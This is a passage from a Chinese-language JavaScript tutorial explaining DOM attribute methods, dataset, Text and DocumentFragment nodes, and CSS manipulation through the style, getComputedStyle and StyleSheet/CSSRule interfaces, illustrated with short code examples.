属性节点对象有namevalue属性,对应该属性的属性名和属性值,等同于nodeName属性和nodeValue属性。

1
2
3
4
5
6
7
8
9
// HTML代码为
// <div id="mydiv">
var n = document.getElementById('mydiv');

n.attributes[0].name // "id"
n.attributes[0].nodeName // "id"

n.attributes[0].value // "mydiv"
n.attributes[0].nodeValue // "mydiv"

下面代码可以遍历一个元素节点的所有属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
var para = document.getElementsByTagName('p')[0];
var result = document.getElementById('result');

if (para.hasAttributes()) {
var attrs = para.attributes;
var output = '';
for(var i = attrs.length - 1; i >= 0; i--) {
output += attrs[i].name + '->' + attrs[i].value;
}
result.textContent = output;
} else {
result.textContent = 'No attributes to show';
}

元素的标准属性

HTML 元素的标准属性(即在标准中定义的属性),会自动成为元素节点对象的属性。

1
2
3
var a = document.getElementById('test');
a.id // "test"
a.href // "http://www.example.com/"

上面代码中,a元素标签的属性idhref,自动成为节点对象的属性。

这些属性都是可写的。

1
2
var img = document.getElementById('myImage');
img.src = 'http://www.example.com/image.jpg';

上面的写法,会立刻替换掉img对象的src属性,即会显示另外一张图片。

这种修改属性的方法,常常用于添加表单的属性。

1
2
3
var f = document.forms[0];
f.action = 'submit.php';
f.method = 'POST';

上面代码为表单添加提交网址和提交方法。

注意,这种用法虽然可以读写属性,但是无法删除属性,delete运算符在这里不会生效。

HTML 元素的属性名是大小写不敏感的,但是 JavaScript 对象的属性名是大小写敏感的。转换规则是,转为 JavaScript 属性名时,一律采用小写。如果属性名包括多个单词,则采用骆驼拼写法,即从第二个单词开始,每个单词的首字母采用大写,比如onClick

有些 HTML 属性名是 JavaScript 的保留字,转为 JavaScript 属性时,必须改名。主要是以下两个。

  • for属性改为htmlFor
  • class属性改为className

另外,HTML 属性值一般都是字符串,但是 JavaScript 属性会自动转换类型。比如,将字符串true转为布尔值,将onClick的值转为一个函数,将style属性的值转为一个CSSStyleDeclaration对象。因此,可以对这些属性赋予各种类型的值。

属性操作的标准方法

概述

元素节点提供六个方法,用来操作属性。

  • getAttribute()
  • getAttributeNames()
  • setAttribute()
  • hasAttribute()
  • hasAttributes()
  • removeAttribute()

这有几点注意。

(1)适用性

这六个方法对所有属性(包括用户自定义的属性)都适用。

(2)返回值

getAttribute()只返回字符串,不会返回其他类型的值。

(3)属性名

这些方法只接受属性的标准名称,不用改写保留字,比如forclass都可以直接使用。另外,这些方法对于属性名是大小写不敏感的。

1
2
var image = document.images[0];
image.setAttribute('class', 'myImage');

上面代码中,setAttribute方法直接使用class作为属性名,不用写成className

Element.getAttribute()

Element.getAttribute方法返回当前元素节点的指定属性。如果指定属性不存在,则返回null

1
2
3
4
// HTML 代码为
// <div id="div1" align="left">
var div = document.getElementById('div1');
div.getAttribute('align') // "left"

Element.getAttributeNames()

Element.getAttributeNames()返回一个数组,成员是当前元素的所有属性的名字。如果当前元素没有任何属性,则返回一个空数组。使用Element.attributes属性,也可以拿到同样的结果,唯一的区别是它返回的是类似数组的对象。

1
2
3
4
5
6
var mydiv = document.getElementById('mydiv');

mydiv.getAttributeNames().forEach(function (key) {
var value = mydiv.getAttribute(key);
console.log(key, value);
})

上面代码用于遍历某个节点的所有属性。

Element.setAttribute()

Element.setAttribute方法用于为当前元素节点新增属性。如果同名属性已存在,则相当于编辑已存在的属性。该方法没有返回值。

1
2
3
4
5
// HTML 代码为
// <button>Hello World</button>
var b = document.querySelector('button');
b.setAttribute('name', 'myButton');
b.setAttribute('disabled', true);

上面代码中,button元素的name属性被设成myButtondisabled属性被设成true

这里有两个地方需要注意,首先,属性值总是字符串,其他类型的值会自动转成字符串,比如布尔值true就会变成字符串true;其次,上例的disable属性是一个布尔属性,对于<button>元素来说,这个属性不需要属性值,只要设置了就总是会生效,因此setAttribute方法里面可以将disabled属性设成任意值。

Element.hasAttribute()

Element.hasAttribute方法返回一个布尔值,表示当前元素节点是否包含指定属性。

1
2
3
4
5
var d = document.getElementById('div1');

if (d.hasAttribute('align')) {
d.setAttribute('align', 'center');
}

上面代码检查div节点是否含有align属性。如果有,则设置为居中对齐。

Element.hasAttributes()

Element.hasAttributes方法返回一个布尔值,表示当前元素是否有属性,如果没有任何属性,就返回false,否则返回true

1
2
var foo = document.getElementById('foo');
foo.hasAttributes() // true

Element.removeAttribute()

Element.removeAttribute方法移除指定属性。该方法没有返回值。

1
2
3
4
5
// HTML 代码为
// <div id="div1" align="left" width="200px">
document.getElementById('div1').removeAttribute('align');
// 现在的HTML代码为
// <div id="div1" width="200px">

dataset 属性

有时,需要在HTML元素上附加数据,供 JavaScript 脚本使用。一种解决方法是自定义属性。

1
<div id="mydiv" foo="bar">

上面代码为div元素自定义了foo属性,然后可以用getAttribute()setAttribute()读写这个属性。

1
2
3
var n = document.getElementById('mydiv');
n.getAttribute('foo') // bar
n.setAttribute('foo', 'baz')

这种方法虽然可以达到目的,但是会使得 HTML 元素的属性不符合标准,导致网页代码通不过校验。

更好的解决方法是,使用标准提供的data-*属性。

1
<div id="mydiv" data-foo="bar">

然后,使用元素节点对象的dataset属性,它指向一个对象,可以用来操作 HTML 元素标签的data-*属性。

1
2
3
var n = document.getElementById('mydiv');
n.dataset.foo // bar
n.dataset.foo = 'baz'

上面代码中,通过dataset.foo读写data-foo属性。

删除一个data-*属性,可以直接使用delete命令。

1
delete document.getElementById('myDiv').dataset.foo;

除了dataset属性,也可以用getAttribute('data-foo')removeAttribute('data-foo')setAttribute('data-foo')hasAttribute('data-foo')等方法操作data-*属性。

注意,data-后面的属性名有限制,只能包含字母、数字、连词线(-)、点(.)、冒号(:)和下划线(_)。而且,属性名不应该使用AZ的大写字母,比如不能有data-helloWorld这样的属性名,而要写成data-hello-world

转成dataset的键名时,连词线后面如果跟着一个小写字母,那么连词线会被移除,该小写字母转为大写字母,其他字符不变。反过来,dataset的键名转成属性名时,所有大写字母都会被转成连词线+该字母的小写形式,其他字符不变。比如,dataset.helloWorld会转成data-hello-world

Text 节点和 DocumentFragment 节点

Text 节点的概念

文本节点(Text)代表元素节点(Element)和属性节点(Attribute)的文本内容。如果一个节点只包含一段文本,那么它就有一个文本子节点,代表该节点的文本内容。

通常我们使用父节点的firstChildnextSibling等属性获取文本节点,或者使用Document节点的createTextNode方法创造一个文本节点。

1
2
3
4
5
6
// 获取文本节点
var textNode = document.querySelector('p').firstChild;

// 创造文本节点
var textNode = document.createTextNode('Hi');
document.querySelector('div').appendChild(textNode);

浏览器原生提供一个Text构造函数。它返回一个文本节点实例。它的参数就是该文本节点的文本内容。

1
2
3
4
5
// 空字符串
var text1 = new Text();

// 非空字符串
var text2 = new Text('This is a text node');

注意,由于空格也是一个字符,所以哪怕只有一个空格,也会形成文本节点。比如,<p> </p>包含一个空格,它的子节点就是一个文本节点。

文本节点除了继承Node接口,还继承了CharacterData接口。Node接口的属性和方法请参考《Node 接口》一章,这里不再重复介绍了,以下的属性和方法大部分来自CharacterData接口。

Text 节点的属性

data

data属性等同于nodeValue属性,用来设置或读取文本节点的内容。

1
2
3
4
5
6
7
// 读取文本内容
document.querySelector('p').firstChild.data
// 等同于
document.querySelector('p').firstChild.nodeValue

// 设置文本内容
document.querySelector('p').firstChild.data = 'Hello World';

wholeText

wholeText属性将当前文本节点与毗邻的文本节点,作为一个整体返回。大多数情况下,wholeText属性的返回值,与data属性和textContent属性相同。但是,某些特殊情况会有差异。

举例来说,HTML 代码如下。

1
<p id="para">A <em>B</em> C</p>

这时,文本节点的wholeText属性和data属性,返回值相同。

1
2
3
var el = document.getElementById('para');
el.firstChild.wholeText // "A "
el.firstChild.data // "A "

但是,一旦移除<em>节点,wholeText属性与data属性就会有差异,因为这时其实<p>节点下面包含了两个毗邻的文本节点。

1
2
3
el.removeChild(para.childNodes[1]);
el.firstChild.wholeText // "A C"
el.firstChild.data // "A "

length

length属性返回当前文本节点的文本长度。

1
(new Text('Hello')).length // 5

nextElementSibling,previousElementSibling

nextElementSibling属性返回紧跟在当前文本节点后面的那个同级元素节点。如果取不到元素节点,则返回null

1
2
3
4
5
// HTML 为
// <div>Hello <em>World</em></div>
var tn = document.querySelector('div').firstChild;
tn.nextElementSibling
// <em>World</em>

previousElementSibling属性返回当前文本节点前面最近的同级元素节点。如果取不到元素节点,则返回null:

Text 节点的方法

appendData(),deleteData(),insertData(),replaceData(),subStringData()

以下5个方法都是编辑Text节点文本内容的方法。

  • appendData():在Text节点尾部追加字符串。
  • deleteData():删除Text节点内部的子字符串,第一个参数为子字符串开始位置,第二个参数为子字符串长度。
  • insertData():在Text节点插入字符串,第一个参数为插入位置,第二个参数为插入的子字符串。
  • replaceData():用于替换文本,第一个参数为替换开始位置,第二个参数为需要被替换掉的长度,第三个参数为新加入的字符串。
  • subStringData():用于获取子字符串,第一个参数为子字符串在Text节点中的开始位置,第二个参数为子字符串长度。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// HTML 代码为
// <p>Hello World</p>
var pElementText = document.querySelector('p').firstChild;

pElementText.appendData('!');
// 页面显示 Hello World!
pElementText.deleteData(7, 5);
// 页面显示 Hello W
pElementText.insertData(7, 'Hello ');
// 页面显示 Hello WHello
pElementText.replaceData(7, 5, 'World');
// 页面显示 Hello WWorld
pElementText.substringData(7, 10);
// 页面显示不变,返回"World "

remove()

remove方法用于移除当前Text节点。

1
2
3
4
5
// HTML 代码为
// <p>Hello World</p>
document.querySelector('p').firstChild.remove()
// 现在 HTML 代码为
// <p></p>

splitText()

splitText方法将Text节点一分为二,变成两个毗邻的Text节点。它的参数就是分割位置(从零开始),分割到该位置的字符前结束。如果分割位置不存在,将报错。

分割后,该方法返回分割位置后方的字符串,而原Text节点变成只包含分割位置前方的字符串。

1
2
3
4
5
6
7
// html 代码为 <p id="p">foobar</p>
var p = document.getElementById('p');
var textnode = p.firstChild;

var newText = textnode.splitText(3);
newText // "bar"
textnode // "foo"

父元素节点的normalize方法可以将毗邻的两个Text节点合并。

接上面的例子,文本节点的splitText方法将一个Text节点分割成两个,父元素的normalize方法可以实现逆操作,将它们合并。

1
2
3
4
5
p.childNodes.length // 2

// 将毗邻的两个 Text 节点合并
p.normalize();
p.childNodes.length // 1

DocumentFragment 节点

DocumentFragment节点代表一个文档的片段,本身就是一个完整的 DOM 树形结构。它没有父节点,parentNode返回null,但是可以插入任意数量的子节点。它不属于当前文档,操作DocumentFragment节点,要比直接操作 DOM 树快得多。

它一般用于构建一个 DOM 结构,然后插入当前文档。document.createDocumentFragment方法,以及浏览器原生的DocumentFragment构造函数,可以创建一个空的DocumentFragment节点。然后再使用其他 DOM 方法,向其添加子节点。

1
2
3
4
5
6
7
8
9
var docFrag = document.createDocumentFragment();
// 等同于
var docFrag = new DocumentFragment();

var li = document.createElement('li');
li.textContent = 'Hello World';
docFrag.appendChild(li);

document.querySelector('ul').appendChild(docFrag);

上面代码创建了一个DocumentFragment节点,然后将一个li节点添加在它里面,最后将DocumentFragment节点移动到原文档。

注意,DocumentFragment节点本身不能被插入当前文档。当它作为appendChild()insertBefore()replaceChild()等方法的参数时,是它的所有子节点插入当前文档,而不是它自身。一旦DocumentFragment节点被添加进当前文档,它自身就变成了空节点(textContent属性为空字符串),可以被再次使用。如果想要保存DocumentFragment节点的内容,可以使用cloneNode方法。

1
2
3
document
.querySelector('ul')
.appendChild(docFrag.cloneNode(true));

上面这样添加DocumentFragment节点进入当前文档,不会清空DocumentFragment节点。

下面是一个例子,使用DocumentFragment反转一个指定节点的所有子节点的顺序。

1
2
3
4
5
function reverse(n) {
var f = document.createDocumentFragment();
while(n.lastChild) f.appendChild(n.lastChild);
n.appendChild(f);
}

DocumentFragment节点对象没有自己的属性和方法,全部继承自Node节点和ParentNode接口。也就是说,DocumentFragment节点比Node节点多出以下四个属性。

  • children:返回一个动态的HTMLCollection集合对象,包括当前DocumentFragment对象的所有子元素节点。
  • firstElementChild:返回当前DocumentFragment对象的第一个子元素节点,如果没有则返回null
  • lastElementChild:返回当前DocumentFragment对象的最后一个子元素节点,如果没有则返回null
  • childElementCount:返回当前DocumentFragment对象的所有子元素数量。

CSS 操作

CSS 与 JavaScript 是两个有着明确分工的领域,前者负责页面的视觉效果,后者负责与用户的行为互动。但是,它们毕竟同属网页开发的前端,因此不可避免有着交叉和互相配合。本节介绍如何通过 JavaScript 操作 CSS。

HTML 元素的 style 属性

操作 CSS 样式最简单的方法,就是使用网页元素节点的getAttribute方法、setAttribute方法和removeAttribute方法,直接读写或删除网页元素的style属性。

1
2
3
4
div.setAttribute(
'style',
'background-color:red;' + 'border:1px solid black;'
);

上面的代码相当于下面的 HTML 代码。

1
<div style="background-color:red; border:1px solid black;" />

style不仅可以使用字符串读写,它本身还是一个对象,部署了 CSSStyleDeclaration 接口(详见下面的介绍),可以直接读写个别属性。

1
2
e.style.fontSize = '18px';
e.style.color = 'black';

CSSStyleDeclaration 接口

简介

CSSStyleDeclaration 接口用来操作元素的样式。三个地方部署了这个接口。

  • 元素节点的style属性(Element.style
  • CSSStyle实例的style属性
  • window.getComputedStyle()的返回值

CSSStyleDeclaration 接口可以直接读写 CSS 的样式属性,不过,连词号需要变成骆驼拼写法。

1
2
3
4
5
6
7
8
9
10
11
12
var divStyle = document.querySelector('div').style;

divStyle.backgroundColor = 'red';
divStyle.border = '1px solid black';
divStyle.width = '100px';
divStyle.height = '100px';
divStyle.fontSize = '10em';

divStyle.backgroundColor // red
divStyle.border // 1px solid black
divStyle.height // 100px
divStyle.width // 100px

上面代码中,style属性的值是一个 CSSStyleDeclaration 实例。这个对象所包含的属性与 CSS 规则一一对应,但是名字需要改写,比如background-color写成backgroundColor。改写的规则是将横杠从 CSS 属性名中去除,然后将横杠后的第一个字母大写。如果 CSS 属性名是 JavaScript 保留字,则规则名之前需要加上字符串css,比如float写成cssFloat

注意,该对象的属性值都是字符串,设置时必须包括单位,但是不含规则结尾的分号。比如,divStyle.width不能写为100,而要写为100px

另外,Element.style返回的只是行内样式,并不是该元素的全部样式。通过样式表设置的样式,或者从父元素继承的样式,无法通过这个属性得到。元素的全部样式要通过window.getComputedStyle()得到。

CSSStyleDeclaration 实例属性

(1)CSSStyleDeclaration.cssText

CSSStyleDeclaration.cssText属性用来读写当前规则的所有样式声明文本。

1
2
3
4
5
6
var divStyle = document.querySelector('div').style;

divStyle.cssText = 'background-color: red;'
+ 'border: 1px solid black;'
+ 'height: 100px;'
+ 'width: 100px;';

注意,cssText的属性值不用改写 CSS 属性名。

删除一个元素的所有行内样式,最简便的方法就是设置cssText为空字符串。

1
divStyle.cssText = '';

(2)CSSStyleDeclaration.length

CSSStyleDeclaration.length属性返回一个整数值,表示当前规则包含多少条样式声明。

1
2
3
4
5
6
7
// HTML 代码如下
// <div id="myDiv"
// style="height: 1px;width: 100%;background-color: #CA1;"
// ></div>
var myDiv = document.getElementById('myDiv');
var divStyle = myDiv.style;
divStyle.length // 3

上面代码中,myDiv元素的行内样式共包含3条样式规则。

(3)CSSStyleDeclaration.parentRule

CSSStyleDeclaration.parentRule属性返回当前规则所属的那个样式块(CSSRule 实例)。如果不存在所属的样式块,该属性返回null

该属性只读,且只在使用 CSSRule 接口时有意义。

1
2
3
var declaration = document.styleSheets[0].rules[0].style;
declaration.parentRule === document.styleSheets[0].rules[0]
// true

CSSStyleDeclaration 实例方法

(1)CSSStyleDeclaration.getPropertyPriority()

CSSStyleDeclaration.getPropertyPriority方法接受 CSS 样式的属性名作为参数,返回一个字符串,表示有没有设置important优先级。如果有就返回important,否则返回空字符串。

1
2
3
4
5
6
// HTML 代码为
// <div id="myDiv" style="margin: 10px!important; color: red;"/>
var style = document.getElementById('myDiv').style;
style.margin // "10px"
style.getPropertyPriority('margin') // "important"
style.getPropertyPriority('color') // ""

上面代码中,margin属性有important优先级,color属性没有。

(2)CSSStyleDeclaration.getPropertyValue()

CSSStyleDeclaration.getPropertyValue方法接受 CSS 样式属性名作为参数,返回一个字符串,表示该属性的属性值。

1
2
3
4
5
// HTML 代码为
// <div id="myDiv" style="margin: 10px!important; color: red;"/>
var style = document.getElementById('myDiv').style;
style.margin // "10px"
style.getPropertyValue("margin") // "10px"

(3)CSSStyleDeclaration.item()

CSSStyleDeclaration.item方法接受一个整数值作为参数,返回该位置的 CSS 属性名。

1
2
3
4
5
// HTML 代码为
// <div id="myDiv" style="color: red; background-color: white;"/>
var style = document.getElementById('myDiv').style;
style.item(0) // "color"
style.item(1) // "background-color"

上面代码中,0号位置的 CSS 属性名是color1号位置的 CSS 属性名是background-color

如果没有提供参数,这个方法会报错。如果参数值超过实际的属性数目,这个方法返回一个空字符值。

(4)CSSStyleDeclaration.removeProperty()

CSSStyleDeclaration.removeProperty方法接受一个属性名作为参数,在 CSS 规则里面移除这个属性,返回这个属性原来的值。

1
2
3
4
5
6
7
8
// HTML 代码为
// <div id="myDiv" style="color: red; background-color: white;">
// 111
// </div>
var style = document.getElementById('myDiv').style;
style.removeProperty('color') // 'red'
// HTML 代码变为
// <div id="myDiv" style="background-color: white;">

上面代码中,删除color属性以后,字体颜色从红色变成默认颜色。

(5)CSSStyleDeclaration.setProperty()

CSSStyleDeclaration.setProperty方法用来设置新的 CSS 属性。该方法没有返回值。

该方法可以接受三个参数。

  • 第一个参数:属性名,该参数是必需的。
  • 第二个参数:属性值,该参数可选。如果省略,则参数值默认为空字符串。
  • 第三个参数:优先级,该参数可选。如果设置,唯一的合法值是important,表示 CSS 规则里面的!important
1
2
3
4
5
6
// HTML 代码为
// <div id="myDiv" style="color: red; background-color: white;">
// 111
// </div>
var style = document.getElementById('myDiv').style;
style.setProperty('border', '1px solid blue');

上面代码执行后,myDiv元素就会出现蓝色的边框。

CSS 模块的侦测

CSS 的规格发展太快,新的模块层出不穷。不同浏览器的不同版本,对 CSS 模块的支持情况都不一样。有时候,需要知道当前浏览器是否支持某个模块,这就叫做“CSS模块的侦测”。

一个比较普遍适用的方法是,判断元素的style对象的某个属性值是否为字符串。

1
2
typeof element.style.animationName === 'string';
typeof element.style.transform === 'string';

如果该 CSS 属性确实存在,会返回一个字符串。即使该属性实际上并未设置,也会返回一个空字符串。如果该属性不存在,则会返回undefined

1
2
document.body.style['maxWidth'] // ""
document.body.style['maximumWidth'] // undefined

上面代码说明,这个浏览器支持max-width属性,但是不支持maximum-width属性。

注意,不管 CSS 属性名的写法带不带连词线,style属性上都能反映出该属性是否存在。

1
2
document.body.style['backgroundColor'] // ""
document.body.style['background-color'] // ""

另外,使用的时候,需要把不同浏览器的 CSS 前缀也考虑进去。

1
2
var content = document.getElementById('content');
typeof content.style['webkitAnimation'] === 'string'

这种侦测方法可以写成一个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function isPropertySupported(property) {
if (property in document.body.style) return true;
var prefixes = ['Moz', 'Webkit', 'O', 'ms', 'Khtml'];
var prefProperty = property.charAt(0).toUpperCase() + property.substr(1);

for(var i = 0; i < prefixes.length; i++){
if((prefixes[i] + prefProperty) in document.body.style) return true;
}

return false;
}

isPropertySupported('background-clip')
// true

CSS 对象

浏览器原生提供 CSS 对象,为 JavaScript 操作 CSS 提供一些工具方法。

这个对象目前有两个静态方法。

CSS.escape()

CSS.escape方法用于转义 CSS 选择器里面的特殊字符。

1
<div id="foo#bar">

上面代码中,该元素的id属性包含一个#号,该字符在 CSS 选择器里面有特殊含义。不能直接写成document.querySelector('#foo#bar'),只能写成document.querySelector('#foo\\#bar')。这里必须使用双斜杠的原因是,单引号字符串本身会转义一次斜杠。

CSS.escape方法就用来转义那些特殊字符。

1
document.querySelector('#' + CSS.escape('foo#bar'))

CSS.supports()

CSS.supports方法返回一个布尔值,表示当前环境是否支持某一句 CSS 规则。

它的参数有两种写法,一种是第一个参数是属性名,第二个参数是属性值;另一种是整个参数就是一行完整的 CSS 语句。

1
2
3
4
5
// 第一种写法
CSS.supports('transform-origin', '5px') // true

// 第二种写法
CSS.supports('display: table-cell') // true

注意,第二种写法的参数结尾不能带有分号,否则结果不准确。

1
CSS.supports('display: table-cell;') // false

window.getComputedStyle()

行内样式(inline style)具有最高的优先级,改变行内样式,通常会立即反映出来。但是,网页元素最终的样式是综合各种规则计算出来的。因此,如果想得到元素实际的样式,只读取行内样式是不够的,需要得到浏览器最终计算出来的样式规则。

window.getComputedStyle方法,就用来返回浏览器计算后得到的最终规则。它接受一个节点对象作为参数,返回一个 CSSStyleDeclaration 实例,包含了指定节点的最终样式信息。所谓“最终样式信息”,指的是各种 CSS 规则叠加后的结果。

1
2
3
var div = document.querySelector('div');
var styleObj = window.getComputedStyle(div);
styleObj.backgroundColor

上面代码中,得到的背景色就是div元素真正的背景色。

注意,CSSStyleDeclaration 实例是一个活的对象,任何对于样式的修改,会实时反映到这个实例上面。另外,这个实例是只读的。

getComputedStyle方法还可以接受第二个参数,表示当前元素的伪元素(比如:before:after:first-line:first-letter等)。

1
var result = window.getComputedStyle(div, ':before');

下面的例子是如何获取元素的高度。

1
2
3
4
5
6
var elem = document.getElementById('elem-container');
var styleObj = window.getComputedStyle(elem, null)
var height = styleObj.height;
// 等同于
var height = styleObj['height'];
var height = styleObj.getPropertyValue('height');

上面代码得到的height属性,是浏览器最终渲染出来的高度,比其他方法得到的高度更可靠。由于styleObj是 CSSStyleDeclaration 实例,所以可以使用各种 CSSStyleDeclaration 的实例属性和方法。

有几点需要注意。

  • CSSStyleDeclaration 实例返回的 CSS 值都是绝对单位。比如,长度都是像素单位(返回值包括px后缀),颜色是rgb(#, #, #)rgba(#, #, #, #)格式。
  • CSS 规则的简写形式无效。比如,想读取margin属性的值,不能直接读,只能读marginLeftmarginTop等属性;再比如,font属性也是不能直接读的,只能读font-size等单个属性。
  • 如果读取 CSS 原始的属性名,要用方括号运算符,比如styleObj['z-index'];如果读取骆驼拼写法的 CSS 属性名,可以直接读取styleObj.zIndex
  • 该方法返回的 CSSStyleDeclaration 实例的cssText属性无效,返回undefined

CSS 伪元素

CSS 伪元素是通过 CSS 向 DOM 添加的元素,主要是通过:before:after选择器生成,然后用content属性指定伪元素的内容。

下面是一段 HTML 代码。

1
<div id="test">Test content</div>

CSS 添加伪元素:before的写法如下。

1
2
3
4
#test:before {
content: 'Before ';
color: #FF0;
}

节点元素的style对象无法读写伪元素的样式,这时就要用到window.getComputedStyle()。JavaScript 获取伪元素,可以使用下面的方法。

1
2
3
4
var test = document.querySelector('#test');

var result = window.getComputedStyle(test, ':before').content;
var color = window.getComputedStyle(test, ':before').color;

此外,也可以使用 CSSStyleDeclaration 实例的getPropertyValue方法,获取伪元素的属性。

1
2
3
4
var result = window.getComputedStyle(test, ':before')
.getPropertyValue('content');
var color = window.getComputedStyle(test, ':before')
.getPropertyValue('color');

StyleSheet 接口

概述

StyleSheet接口代表网页的一张样式表,包括<link>元素加载的样式表和<style>元素内嵌的样式表。

document对象的styleSheets属性,可以返回当前页面的所有StyleSheet实例(即所有样式表)。它是一个类似数组的对象。

1
2
3
var sheets = document.styleSheets;
var sheet = document.styleSheets[0];
sheet instanceof StyleSheet // true

如果是<style>元素嵌入的样式表,还有另一种获取StyleSheet实例的方法,就是这个节点元素的sheet属性。

1
2
3
// HTML 代码为 <style id="myStyle"></style>
var myStyleSheet = document.getElementById('myStyle').sheet;
myStyleSheet instanceof StyleSheet // true

严格地说,StyleSheet接口不仅包括网页样式表,还包括 XML 文档的样式表。所以,它有一个子类CSSStyleSheet表示网页的 CSS 样式表。我们在网页里面拿到的样式表实例,实际上是CSSStyleSheet的实例。这个子接口继承了StyleSheet的所有属性和方法,并且定义了几个自己的属性,下面把这两个接口放在一起介绍。

实例属性

StyleSheet实例有以下属性。

(1)StyleSheet.disabled

StyleSheet.disabled返回一个布尔值,表示该样式表是否处于禁用状态。手动设置disabled属性为true,等同于在<link>元素里面,将这张样式表设为alternate stylesheet,即该样式表将不会生效。

注意,disabled属性只能在 JavaScript 脚本中设置,不能在 HTML 语句中设置。

(2)Stylesheet.href

Stylesheet.href返回样式表的网址。对于内嵌样式表,该属性返回null。该属性只读。

1
document.styleSheets[0].href

(3)StyleSheet.media

StyleSheet.media属性返回一个类似数组的对象(MediaList实例),成员是表示适用媒介的字符串。表示当前样式表是用于屏幕(screen),还是用于打印(print)或手持设备(handheld),或各种媒介都适用(all)。该属性只读,默认值是screen

1
2
document.styleSheets[0].media.mediaText
// "all"

MediaList实例的appendMedium方法,用于增加媒介;deleteMedium方法用于删除媒介。

1
2
document.styleSheets[0].media.appendMedium('handheld');
document.styleSheets[0].media.deleteMedium('print');

(4)StyleSheet.title

StyleSheet.title属性返回样式表的title属性。

(5)StyleSheet.type

StyleSheet.type属性返回样式表的type属性,通常是text/css

1
document.styleSheets[0].type  // "text/css"

(6)StyleSheet.parentStyleSheet

CSS 的@import命令允许在样式表中加载其他样式表。StyleSheet.parentStyleSheet属性返回包含了当前样式表的那张样式表。如果当前样式表是顶层样式表,则该属性返回null

1
2
3
4
5
if (stylesheet.parentStyleSheet) {
sheet = stylesheet.parentStyleSheet;
} else {
sheet = stylesheet;
}

(7)StyleSheet.ownerNode

StyleSheet.ownerNode属性返回StyleSheet对象所在的 DOM 节点,通常是<link><style>。对于那些由其他样式表引用的样式表,该属性为null

1
2
3
// HTML代码为
// <link rel="StyleSheet" href="example.css" type="text/css" />
document.styleSheets[0].ownerNode // [object HTMLLinkElement]

(8)CSSStyleSheet.cssRules

CSSStyleSheet.cssRules属性指向一个类似数组的对象(CSSRuleList实例),里面每一个成员就是当前样式表的一条 CSS 规则。使用该规则的cssText属性,可以得到 CSS 规则对应的字符串。

1
2
3
4
5
6
7
var sheet = document.querySelector('#styleElement').sheet;

sheet.cssRules[0].cssText
// "body { background-color: red; margin: 20px; }"

sheet.cssRules[1].cssText
// "p { line-height: 1.4em; color: blue; }"

每条 CSS 规则还有一个style属性,指向一个对象,用来读写具体的 CSS 命令。

1
2
cssStyleSheet.cssRules[0].style.color = 'red';
cssStyleSheet.cssRules[1].style.color = 'purple';

(9)CSSStyleSheet.ownerRule

有些样式表是通过@import规则输入的,它的ownerRule属性会返回一个CSSRule实例,代表那行@import规则。如果当前样式表不是通过@import引入的,ownerRule属性返回null

实例方法

(1)CSSStyleSheet.insertRule()

CSSStyleSheet.insertRule方法用于在当前样式表的插入一个新的 CSS 规则。

1
2
3
var sheet = document.querySelector('#styleElement').sheet;
sheet.insertRule('#block { color: white }', 0);
sheet.insertRule('p { color: red }', 1);

该方法可以接受两个参数,第一个参数是表示 CSS 规则的字符串,这里只能有一条规则,否则会报错。第二个参数是该规则在样式表的插入位置(从0开始),该参数可选,默认为0(即默认插在样式表的头部)。注意,如果插入位置大于现有规则的数目,会报错。

该方法的返回值是新插入规则的位置序号。

注意,浏览器对脚本在样式表里面插入规则有很多限制。所以,这个方法最好放在try...catch里使用。

(2)CSSStyleSheet.deleteRule()

CSSStyleSheet.deleteRule方法用来在样式表里面移除一条规则,它的参数是该条规则在cssRules对象中的位置。该方法没有返回值。

1
document.styleSheets[0].deleteRule(1);

实例:添加样式表

网页添加样式表有两种方式。一种是添加一张内置样式表,即在文档中添加一个<style>节点。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 写法一
var style = document.createElement('style');
style.setAttribute('media', 'screen');
style.innerHTML = 'body{color:red}';
document.head.appendChild(style);

// 写法二
var style = (function () {
var style = document.createElement('style');
document.head.appendChild(style);
return style;
})();
style.sheet.insertRule('.foo{color:red;}', 0);

另一种是添加外部样式表,即在文档中添加一个<link>节点,然后将href属性指向外部样式表的 URL。

1
2
3
4
5
6
var linkElm = document.createElement('link');
linkElm.setAttribute('rel', 'stylesheet');
linkElm.setAttribute('type', 'text/css');
linkElm.setAttribute('href', 'reset-min.css');

document.head.appendChild(linkElm);

CSSRuleList 接口

CSSRuleList 接口是一个类似数组的对象,表示一组 CSS 规则,成员都是 CSSRule 实例。

获取 CSSRuleList 实例,一般是通过StyleSheet.cssRules属性。

1
2
3
4
5
6
7
8
// HTML 代码如下
// <style id="myStyle">
// h1 { color: red; }
// p { color: blue; }
// </style>
var myStyleSheet = document.getElementById('myStyle').sheet;
var crl = myStyleSheet.cssRules;
crl instanceof CSSRuleList // true

CSSRuleList 实例里面,每一条规则(CSSRule 实例)可以通过rules.item(index)或者rules[index]拿到。CSS 规则的条数通过rules.length拿到。还是用上面的例子。

1
2
crl[0] instanceof CSSRule // true
crl.length // 2

注意,添加规则和删除规则不能在 CSSRuleList 实例操作,而要在它的父元素 StyleSheet 实例上,通过StyleSheet.insertRule()StyleSheet.deleteRule()操作。

CSSRule 接口

概述

一条 CSS 规则包括两个部分:CSS 选择器和样式声明。下面就是一条典型的 CSS 规则。

1
2
3
4
.myClass {
color: red;
background-color: yellow;
}

JavaScript 通过 CSSRule 接口操作 CSS 规则。一般通过 CSSRuleList 接口(StyleSheet.cssRules)获取 CSSRule 实例。

1
2
3
4
5
6
7
8
9
10
11
// HTML 代码如下
// <style id="myStyle">
// .myClass {
// color: red;
// background-color: yellow;
// }
// </style>
var myStyleSheet = document.getElementById('myStyle').sheet;
var ruleList = myStyleSheet.cssRules;
var rule = ruleList[0];
rule instanceof CSSRule // true

CSSRule 实例的属性

(1)CSSRule.cssText

CSSRule.cssText属性返回当前规则的文本,还是使用上面的例子。

1
2
rule.cssText
// ".myClass { color: red; background-color: yellow; }"

如果规则是加载(@import)其他样式表,cssText属性返回@import 'url'

(2)CSSRule.parentStyleSheet

CSSRule.parentStyleSheet属性返回当前规则所在的样式表对象(StyleSheet 实例),还是使用上面的例子。

1
rule.parentStyleSheet === myStyleSheet // true

(3)CSSRule.parentRule

CSSRule.parentRule属性返回包含当前规则的父规则,如果不存在父规则(即当前规则是顶层规则),则返回null

父规则最常见的情况是,当前规则包含在@media规则代码块之中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
